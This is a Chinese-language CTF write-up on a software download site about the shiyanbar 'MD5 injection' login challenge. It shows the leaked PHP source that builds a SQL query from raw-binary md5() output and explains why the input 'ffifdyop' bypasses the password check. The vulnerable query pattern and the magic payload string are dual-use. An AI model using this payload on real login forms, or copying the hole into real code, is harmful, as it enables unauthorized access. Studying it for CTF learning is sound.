请用管理员密码进行登录(MD5注入)

2018-07-14 21:44:22 出处:软件园 作者:动力软件园 责任编辑:honhole

MD5注入  原题:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 看了别人的写的writeup 我是没明白。


<body style="background-color: #999">
<div style="position:relative;margin:0 auto;width:300px;height:200px;padding-top:100px;font-size:20px;">
<form action="" method="post">
<table>
<tr>
请用管理员密码进行登录~~
</tr>
<tr>
<td>密码:</td><td><input type="text" name='password'></td>
</tr>
<tr>
<td><input type="submit" name='submit' style="margin-left:30px;"></td>
</tr>
</table>
</form>
密码错误!</div>
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
</body>


看注释得到源码泄露,"SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"


php md5()函数用法:


md5(string,raw)


raw是可选。规定二进制或十六进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数


代码实现:

<?php
$str = "ffifdyop";
echo "二进制:".md5($str,TRUE );
echo "十六进制:".md5($str );
?>


输出结果:

二进制:'or'6�]��!r,��b十六进制:276f722736c95d99e921722cf9ed621c


网络上大多版本是这样解释的:

当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

还需要把32位的十六进制:276f722736c95d99e921722cf9ed621c结果转字符串才是'or'6�]��!r,��b


trash 英文解释 垃圾的意思  这些�]��!r,��b就是指垃圾数据


还参考了http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/原版英文的,我也没看明白英文


源码中明明是.md5($str,TRUE ) 要的16位二进制结果。

也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是'or'<trash>,便产生注入

这里的原文在这


存档ffifdyop这样的字符串作为敏感字符吧。


广告
广告
热门软件
3333
() ()
相关文章
相关软件